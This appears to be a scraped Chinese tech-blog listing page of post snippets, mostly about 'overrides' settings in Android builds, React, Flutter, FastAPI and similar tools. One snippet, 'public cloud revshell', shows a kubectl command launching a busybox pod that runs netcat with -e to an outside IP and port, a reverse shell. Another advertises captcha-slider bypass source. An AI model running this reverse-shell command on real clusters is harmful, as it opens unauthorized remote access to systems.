- 单线程执行器(`SingleThreadedExecutor`)来处理节点的任务
课堂随想
moveit2机器人
intmain(intargc,char**argv){rclcpp::init(argc,argv);rclcpp::NodeOptionsnode_options;node_options.automatically_declare_parameters_from_overrides(true);automove_group_node=rclcpp::Node::make_shared("mo
- 【Material-UI】Lists组件中的Customization功能详解
Peter-Lu
#material-uiuilistjavascriptMaterial-UI前端
文章目录一、Lists组件概述1.组件介绍2.Customization的意义二、Lists组件的Customization方法1.使用主题(Theme)定制化组件2.通过`styled`API定制化组件3.样式覆盖(Overrides)三、使用案例:打造一个定制化的导航菜单四、总结在现代Web开发中,UI的定制化需求越来越高。Material-UI作为React生态系统中的顶级UI框架,提供了丰
- [RK3588 Android12]设置语言和默认时区
~生而为赢~
RK3588Android12定制开发ubuntuandroid
修改文件:device/rockchip/rk3588/rk3588_s/rk3588_s.mk,添加如下内容:PRODUCT_PROPERTY_OVERRIDES+=\persist.sys.language=zh\persist.sys.country=CN\persist.sys.timezone=Asia/Shanghai
- 消除Intellij IDEA的Not annotated parameter overrides @NonNullApi parameter警告
沐雨橙风ιε
windows
这是一个Spring的转换器,在重写Converter的convert()方法时,idea给这个方法增加了警告提示Notannotatedparameteroverrides@NonNullApiparameterpackagecn.edu.sgu.www.mhxysy.converter;importcom.alibaba.fastjson.JSON;importorg.springframew
- 【chrome支持】DevTools中重写覆盖源js文件
daban2008
技术支持开发语言
sources面板下,左侧overrides标签下添加一个文件夹,并同意。勾选EnableLocaloverrides然后在page标签下,修改文件后ctrl+s保存直接就保存在overrides的文件夹下了或者文件上右键Overridecontent
- FastAPI 依赖注入详解:处理依赖树
Gascognya
asyncdefapp(request:Request)->Response:......solved_result=awaitsolve_dependencies(request=request,dependant=dependant,body=body,dependency_overrides_provider=dependency_overrides_provider,)values,err
- ipad协议滑块源码1-13
天域网络科技
javascript前端firefox
ipad滑块源码1-13python编写需要安装py环境进行编译修改解密代码如下varCryptoJS=CryptoJS||(function(Math,undefined){varC={};varC_lib=C.lib={};varBase=C_lib.Base=(function(){functionF(){};return{extend:function(overrides){F.proto
- React之Antd-mobile使用方式及配置自定义主题颜色
Welkin_qing
reactcssreactjs
文章目录一、使用Antd-mobile(1)下载antd-mobile(2)使用二、修改配置颜色(1)安装包(2)修改package.json(3)根目录新建config-overrides.js法一:直接在modifyVars修改法二:根目录下新建antd-theme.json文件注意:一、使用Antd-mobile(1)下载antd-mobile$npminstallantd-mobile--
- Unity 预制体与变体
Yu_three
unity游戏引擎
如何生成预制体?将父物体拖到Assets,图标变蓝注意:修改预制体的值,场景对应的物体随之改变,反之不可。找不到预制体怎么办?单击select,就会跳出预制体。单击open,或双击预制体,进入新环境,只有预制体。在场景中为游戏物体添加组件,图标有’+‘。只说明是额外的,如果想让预制体也有点击三点,做相应操作,预制体也有图标没有’+‘号。要添加的组件太多,总不能一个个点吧?点击Overrides选择
- Django基础教程之配置文件详解
geobuins
djangopython后端
Django基础教程之配置文件详解声明:以下内容均为我个人的理解,如果发现错误或者疑问可以联系我共同探讨简介学习Django可以从Django配置文件的各项开始,由简入深的了解其作用,从而一步一步学习。本篇文章主要是介绍各项的作用以及如何配置,可以根据需求按需配置。内容绝对路径映射ABSOLUTE_URL_OVERRIDES作用:将应用的模型字符串映射到采用模型对象并返回其url,基于get_ab
- Linux文件管理命令(cat)
c洛#
#Linux常用命令服务器linux运维
先看官方命令帮助[root@luoqiu~]#cat--helpUsage:cat[OPTION]...[FILE]...ConcatenateFILE(s),orstandardinput,tostandardoutput.-A,--show-allequivalentto-vET-b,--number-nonblanknumbernonemptyoutputlines,overrides-n-
- android 13 默认开启网络adb功能
青春给了狗
androidadb
需求:Android13默认开启网络adb在这里以RK3568Android13源码为例在device/rockchip/rk356x/rk3568_t/rk3568_t.mk添加以下配置即可PRODUCT_PROPERTY_OVERRIDES+=persist.internet_adb_enable=1PRODUCT_PROPERTY_OVERRIDES+=service.adb.tcp.por
- public cloud revshell
信安成长日记
linux
kubectlrun--rm-itbusybox--image=busybox--overrides='{"apiVersion":"v1","spec":{"containers":[{"name":"busybox","image":"busybox","stdin":true,"tty":true,"command":["/bin/nc","192.168.42.1","7777","-e"
- react中的config-overrides.js文件
uhuh_
react.jsjavascriptwebpack
功能类似于vue中的vue.config.js文件,增量配置react中的关于webpack配置npmrunreject弹开react工程中的webpack配置,但是它是不可逆的customize-cra此库就是可以增量的去修改webpack中的配置修改package.json文件中自定义命令中的start/build中的react-scripts为react-app-rewired一些配置:co
- 001.2 flutter依赖配置之dependency_overrides【入门级】
码农二哥
场景再现今天碰到这么个情况:1。一个【dart包工程A】(通常自己无法独立运行,需要作为别的工程的依赖才可以运行),它依赖一个【flutterpluginB】(dart+native);2因为那个【dart包工程A】无法单独运行,因此给它加了一个【example工程C】来依赖【dart包工程A】,从而实现快速开发测试的目的;3但是【flutterpluginB】因为涉及native代码,有非常多的
- 用customize-cra+react-app-rewired配置px2rem
一个专注写代码的程序媛
reactreact.js前端前端框架
1.安装npmireact-app-rewire-postcsspostcss-px2rem-D2.配置项//config-overrides.jsconst{override}=require('customize-cra');constaddLessLoader=require("customize-cra-less-loader");constrewirePostcss=require("r
- 用customize-cra+react-app-rewired配置less+css module
一个专注写代码的程序媛
reactlesscssreact.jsless
1.安装npmilessless-loader-Dnpmicustomize-cra-less-loader-D2.添加配置项//config-overrides.jsconst{override}=require('customize-cra');constaddLessLoader=require("customize-cra-less-loader");module.exports={web
- Android 9.0 删除录音机
Jeffries_C
Androidandroid
Android9.0删除录音机最近收到客户反馈需要去掉内置的录音机,具体修改参照如下:/project/ProjectConfig.mk:+MTK_SOUNDRECORDER_APP=no+FREEME_PACKAGE_OVERRIDES=SoundRecorder2需要在/out/target/product/目录下检索"SoundRecorder2"将之前编译生成的SoundRecorder2
- RK3399 Android7.1修改系统默认USB功能
潇然四叶草
#RK3399android
在device\rockchip\common\device.mk中修改persist.sys.usb.config的值,如下将USB功能默认设置为MTP(去掉ADB):ifeq($(strip$(BUILD_WITH_CDROM)),true)PRODUCT_PROPERTY_OVERRIDES+=\ro.factory.hasUMS=cdrom\ro.factory.cdrom=$(BUILD
- react-不暴露配置文件引入less以及模块化
四月的谎言v5
npminstallcustomize-crareact-app-rewiredlessless-loader--save-dev首先安装好需要的包根路径新建一个config-overrides.js文件const{override,addLessLoader}=require('customize-cra')module.exports=override(addLessLoader({javas
- Android 调整适配屏幕密度
Jeffries_C
Androidandroid
Android调整适配屏幕密度近来收到客户反馈说系统显示整体偏大,想要整体调小一些,修改整体显示大小可以通过调整屏幕密度实现,具体修改参照如下:/device/droi/pj/device.mk-PRODUCT_DEFAULT_PROPERTY_OVERRIDES+=ro.sf.lcd_density=130+PRODUCT_DEFAULT_PROPERTY_OVERRIDES+=ro.sf.lc
- react-create-app 基于 react-app-rewired scss设置全局变量全局函数
tianmeng1999
webpackreactreact.jsscssjavascript
目录重写react脚手架配置使用scss引用全局scss文件中的变量和函数应用全局测试重写react脚手架配置customize-cra合并配置react-app-rewired重写react脚手架配置安装依赖npmicustomize-crareact-app-rewired-D在项目根目录下创建config-overrides.js文件使用scss安装sassnpmisass-D引用全局scs
- React脚手架config-overrides.js文件的配置
Goat恶霸詹姆斯
我的笔记javascript前端react
主要讲讲在react脚手架在不使用eject命令的情况下,如何进行webpack的配置。网上查询了好多,只有针对相关的配置,这次全面的看一看配置。还是一样,我们需要插件的帮助:npminstallreact-app-rewiredcustomize-cra--save-dev配置package.json:"scripts":{"start":"react-app-rewiredstart","bu
- python的overrides库
openwin_top
python编程示例系列二python开发语言
overrides是一个Python库,它提供了一种用于覆盖类和函数的装饰器,以实现对已有代码的修改,而无需修改代码本身。以下是overrides库的一些常见用法:覆盖类的方法fromoverridesimportoverrides#定义基类classMyBaseClass:@overridesdefmy_method(self):print('MyBaseClass.my_method()')#
- 执行pnpm install的时候报错:ERR_PNPM_INVALID_OVERRIDE_SELECTOR Cannot parse the “//“ selector in the overri
奇怪的点
vue.js
解决如下:删除package.json中pnpm.overrides或者resolutions存在的"//:......",pnpm降级到6.23.6我用的是1,如图路过的朋友们,有用赏个赞吧
- 项目
如果有了可惜
Vue
项目开发流程互联网的项目开发流程√团队的管理-码云版本控制管理工具:git任务划分:组长完成注意:组员一定要注意不要操作原仓库代码,自己的分支自己操作,其他分支一概不碰,每天组长必须知道你的组员的进度进行组件划分,业务逻辑的提前查看,功能的提前查找项目环境搭建:webpack配置第一种选择是yarneject第二种选择是webpack的覆盖性文件:config-overrides.jsrouter
- react 使用笔记
万变不离其宗_8
项目笔记前端
1.学习:https://reactjs.bootcss.com/learn2.项目启动报错:Delete␍prettier/prettier解决:https://blog.csdn.net/qq_30272167/article/details/1332801653.访问地址配置文件:config-overrides.jsdevServer:function(configFunction){re
- ruoyi框架前端修改message消失时间
renkai721
前端vuemessagealert消失时间duration弹出框
修改教程打开modal.js文件,找到Message.success,然后把参数设置进去就行。单位是1000=1秒。//可以设置的参数如下exportinterfaceElMessageOptions{/**Messagetext*/message:string|VNode/**Messagetype*/type?:MessageType/**Customicon'sclass,overrides
- react 路由刷新报错问题
御风傲天
reactrouter
情况1:双层路由/a/b刷新报错,reactrouter的bug,浏览器解析会导致资源地址错误查阅的各种帖子,什么ngnix配置;都不好使。解决办法换成单级路由/a_b情况2:ngnix配置过滤时和路由名字重复,这个改名字附带一个:react使用react-app-rewired启动项目配置:package.json和config-overrides.js//package.json{"name"
- 自定义类型的集合判断是否包含某个子项
windyfat
在我们项目中有这么一个场景,有一个树型结构的字典列表,需要实现多选功能。我的实现思路呢,是自定义了一个DictIndexPath下标类,里面包含两个属性:行section、列row,然后通过一个List来存储选择的下标类。//下标类classDictIndexPath{intsection;introw;DictIndexPath(this.section,this.row);@overrideS
- Java序列化进阶篇
g21121
java序列化
1.transient
类一旦实现了Serializable 接口即被声明为可序列化,然而某些情况下并不是所有的属性都需要序列化,想要人为的去阻止这些属性被序列化,就需要用到transient 关键字。
- escape()、encodeURI()、encodeURIComponent()区别详解
aigo
JavaScriptWeb
原文:http://blog.sina.com.cn/s/blog_4586764e0101khi0.html
JavaScript中有三个可以对字符串编码的函数,分别是: escape,encodeURI,encodeURIComponent,相应3个解码函数:,decodeURI,decodeURIComponent 。
下面简单介绍一下它们的区别
1 escape()函
- ArcgisEngine实现对地图的放大、缩小和平移
Cb123456
添加矢量数据对地图的放大、缩小和平移Engine
ArcgisEngine实现对地图的放大、缩小和平移:
个人觉得是平移,不过网上的都是漫游,通俗的说就是把一个地图对象从一边拉到另一边而已。就看人说话吧.
具体实现:
一、引入命名空间
using ESRI.ArcGIS.Geometry;
using ESRI.ArcGIS.Controls;
二、代码实现.
- Java集合框架概述
天子之骄
Java集合框架概述
集合框架
集合框架可以理解为一个容器,该容器主要指映射(map)、集合(set)、数组(array)和列表(list)等抽象数据结构。
从本质上来说,Java集合框架的主要组成是用来操作对象的接口。不同接口描述不同的数据类型。
简单介绍:
Collection接口是最基本的接口,它定义了List和Set,List又定义了LinkLi
- 旗正4.0页面跳转传值问题
何必如此
javajsp
跳转和成功提示
a) 成功字段非空forward
成功字段非空forward,不会弹出成功字段,为jsp转发,页面能超链接传值,传输变量时需要拼接。接拼接方式list.jsp?test="+strweightUnit+"或list.jsp?test="+weightUnit+&qu
- 全网唯一:移动互联网服务器端开发课程
cocos2d-x小菜
web开发移动开发移动端开发移动互联程序员
移动互联网时代来了! App市场爆发式增长为Web开发程序员带来新一轮机遇,近两年新增创业者,几乎全部选择了移动互联网项目!传统互联网企业中超过98%的门户网站已经或者正在从单一的网站入口转向PC、手机、Pad、智能电视等多端全平台兼容体系。据统计,AppStore中超过85%的App项目都选择了PHP作为后端程
- Log4J通用配置|注意问题 笔记
7454103
DAOapachetomcatlog4jWeb
关于日志的等级 那些去 百度就知道了!
这几天 要搭个新框架 配置了 日志 记下来 !做个备忘!
#这里定义能显示到的最低级别,若定义到INFO级别,则看不到DEBUG级别的信息了~!
log4j.rootLogger=INFO,allLog
# DAO层 log记录到dao.log 控制台 和 总日志文件
log4j.logger.DAO=INFO,dao,C
- SQLServer TCP/IP 连接失败问题 ---SQL Server Configuration Manager
darkranger
sqlcwindowsSQL ServerXP
当你安装完之后,连接数据库的时候可能会发现你的TCP/IP 没有启动..
发现需要启动客户端协议 : TCP/IP
需要打开 SQL Server Configuration Manager...
却发现无法打开 SQL Server Configuration Manager..??
解决方法: C:\WINDOWS\system32目录搜索framedyn.
- [置顶] 做有中国特色的程序员
aijuans
程序员
从出版业说起 网络作品排到靠前的,都不会太难看,一般人不爱看某部作品也是因为不喜欢这个类型,而此人也不会全不喜欢这些网络作品。究其原因,是因为网络作品都是让人先白看的,看的好了才出了头。而纸质作品就不一定了,排行榜靠前的,有好作品,也有垃圾。 许多大牛都是写了博客,后来出了书。这些书也都不次,可能有人让为不好,是因为技术书不像小说,小说在读故事,技术书是在学知识或温习知识,有些技术书读得可
- document.domain 跨域问题
avords
document
document.domain用来得到当前网页的域名。比如在地址栏里输入:javascript:alert(document.domain); //www.315ta.com我们也可以给document.domain属性赋值,不过是有限制的,你只能赋成当前的域名或者基础域名。比如:javascript:alert(document.domain = "315ta.com");
- 关于管理软件的一些思考
houxinyou
管理
工作好多看年了,一直在做管理软件,不知道是我最开始做的时候产生了一些惯性的思维,还是现在接触的管理软件水平有所下降.换过好多年公司,越来越感觉现在的管理软件做的越来越乱.
在我看来,管理软件不论是以前的结构化编程,还是现在的面向对象编程,不管是CS模式,还是BS模式.模块的划分是很重要的.当然,模块的划分有很多种方式.我只是以我自己的划分方式来说一下.
做为管理软件,就像现在讲究MVC这
- NoSQL数据库之Redis数据库管理(String类型和hash类型)
bijian1013
redis数据库NoSQL
一.Redis的数据类型
1.String类型及操作
String是最简单的类型,一个key对应一个value,string类型是二进制安全的。Redis的string可以包含任何数据,比如jpg图片或者序列化的对象。
Set方法:设置key对应的值为string类型的value
- Tomcat 一些技巧
征客丶
javatomcatdos
以下操作都是在windows 环境下
一、Tomcat 启动时配置 JAVA_HOME
在 tomcat 安装目录,bin 文件夹下的 catalina.bat 或 setclasspath.bat 中添加
set JAVA_HOME=JAVA 安装目录
set JRE_HOME=JAVA 安装目录/jre
即可;
二、查看Tomcat 版本
在 tomcat 安装目
- 【Spark七十二】Spark的日志配置
bit1129
spark
在测试Spark Streaming时,大量的日志显示到控制台,影响了Spark Streaming程序代码的输出结果的查看(代码中通过println将输出打印到控制台上),可以通过修改Spark的日志配置的方式,不让Spark Streaming把它的日志显示在console
在Spark的conf目录下,把log4j.properties.template修改为log4j.p
- Haskell版冒泡排序
bookjovi
冒泡排序haskell
面试的时候问的比较多的算法题要么是binary search,要么是冒泡排序,真的不想用写C写冒泡排序了,贴上个Haskell版的,思维简单,代码简单,下次谁要是再要我用C写冒泡排序,直接上个haskell版的,让他自己去理解吧。
sort [] = []
sort [x] = [x]
sort (x:x1:xs)
| x>x1 = x1:so
- java 路径 配置文件读取
bro_feng
java
这几天做一个项目,关于路径做如下笔记,有需要供参考。
取工程内的文件,一般都要用相对路径,这个自然不用多说。
在src统计目录建配置文件目录res,在res中放入配置文件。
读取文件使用方式:
1. MyTest.class.getResourceAsStream("/res/xx.properties")
2. properties.load(MyTest.
- 读《研磨设计模式》-代码笔记-简单工厂模式
bylijinnan
java设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* 个人理解:简单工厂模式就是IOC;
* 客户端要用到某一对象,本来是由客户创建的,现在改成由工厂创建,客户直接取就好了
*/
interface IProduct {
- SVN与JIRA的关联
chenyu19891124
SVN
SVN与JIRA的关联一直都没能装成功,今天凝聚心思花了一天时间整合好了。下面是自己整理的步骤:
一、搭建好SVN环境,尤其是要把SVN的服务注册成系统服务
二、装好JIRA,自己用是jira-4.3.4破解版
三、下载SVN与JIRA的插件并解压,然后拷贝插件包下lib包里的三个jar,放到Atlassian\JIRA 4.3.4\atlassian-jira\WEB-INF\lib下,再
- JWFDv0.96 最新设计思路
comsci
数据结构算法工作企业应用公告
随着工作流技术的发展,工作流产品的应用范围也不断的在扩展,开始进入了像金融行业(我已经看到国有四大商业银行的工作流产品招标公告了),实时生产控制和其它比较重要的工程领域,而
- vi 保存复制内容格式粘贴
daizj
vi粘贴复制保存原格式不变形
vi是linux中非常好用的文本编辑工具,功能强大无比,但对于复制带有缩进格式的内容时,粘贴的时候内容错位很严重,不会按照复制时的格式排版,vi能不能在粘贴时,按复制进的格式进行粘贴呢? 答案是肯定的,vi有一个很强大的命令可以实现此功能 。
在命令模式输入:set paste,则进入paste模式,这样再进行粘贴时
- shell脚本运行时报错误:/bin/bash^M: bad interpreter 的解决办法
dongwei_6688
shell脚本
出现原因:windows上写的脚本,直接拷贝到linux系统上运行由于格式不兼容导致
解决办法:
1. 比如文件名为myshell.sh,vim myshell.sh
2. 执行vim中的命令 : set ff?查看文件格式,如果显示fileformat=dos,证明文件格式有问题
3. 执行vim中的命令 :set fileformat=unix 将文件格式改过来就可以了,然后:w
- 高一上学期难记忆单词
dcj3sjt126com
wordenglish
honest 诚实的;正直的
argue 争论
classical 古典的
hammer 锤子
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sorrow 悲哀;悲痛
adventure 冒险
error 错误;差错
closet 壁橱;储藏室
pronounce 发音;宣告
repeat 重做;重复
majority 大多数;大半
native 本国的,本地的,本国
- hibernate查询返回DTO对象,DTO封装了多个pojo对象的属性
frankco
POJOhibernate查询DTO
DTO-数据传输对象;pojo-最纯粹的java对象与数据库中的表一一对应。
简单讲:DTO起到业务数据的传递作用,pojo则与持久层数据库打交道。
有时候我们需要查询返回DTO对象,因为DTO
- Partition List
hcx2013
partition
Given a linked list and a value x, partition it such that all nodes less than x come before nodes greater than or equal to x.
You should preserve the original relative order of th
- Spring MVC测试框架详解——客户端测试
jinnianshilongnian
上一篇《Spring MVC测试框架详解——服务端测试》已经介绍了服务端测试,接下来再看看如果测试Rest客户端,对于客户端测试以前经常使用的方法是启动一个内嵌的jetty/tomcat容器,然后发送真实的请求到相应的控制器;这种方式的缺点就是速度慢;自Spring 3.2开始提供了对RestTemplate的模拟服务器测试方式,也就是说使用RestTemplate测试时无须启动服务器,而是模拟一
- 关于推荐个人观点
liyonghui160com
推荐系统关于推荐个人观点
回想起来,我也做推荐了3年多了,最近公司做了调整招聘了很多算法工程师,以为需要多么高大上的算法才能搭建起来的,从实践中走过来,我只想说【不是这样的】
第一次接触推荐系统是在四年前入职的时候,那时候,机器学习和大数据都是没有的概念,什么大数据处理开源软件根本不存在,我们用多台计算机web程序记录用户行为,用.net的w
- 不间断旋转的动画
pangyulei
动画
CABasicAnimation* rotationAnimation;
rotationAnimation = [CABasicAnimation animationWithKeyPath:@"transform.rotation.z"];
rotationAnimation.toValue = [NSNumber numberWithFloat: M
- 自定义annotation
sha1064616837
javaenumannotationreflect
对象有的属性在页面上可编辑,有的属性在页面只可读,以前都是我们在页面上写死的,时间一久有时候会混乱,此处通过自定义annotation在类属性中定义。越来越发现Java的Annotation真心很强大,可以帮我们省去很多代码,让代码看上去简洁。
下面这个例子 主要用到了
1.自定义annotation:@interface,以及几个配合着自定义注解使用的几个注解
2.简单的反射
3.枚举
- Spring 源码
up2pu
spring
1.Spring源代码
https://github.com/SpringSource/spring-framework/branches/3.2.x
注:兼容svn检出
2.运行脚本
import-into-eclipse.bat
注:需要设置JAVA_HOME为jdk 1.7
build.gradle
compileJava {
sourceCompatibilit
- 利用word分词来计算文本相似度
yangshangchuan
wordword分词文本相似度余弦相似度简单共有词
word分词提供了多种文本相似度计算方式:
方式一:余弦相似度,通过计算两个向量的夹角余弦值来评估他们的相似度
实现类:org.apdplat.word.analysis.CosineTextSimilarity
用法如下:
String text1 = "我爱购物";
String text2 = "我爱读书";
String text3 =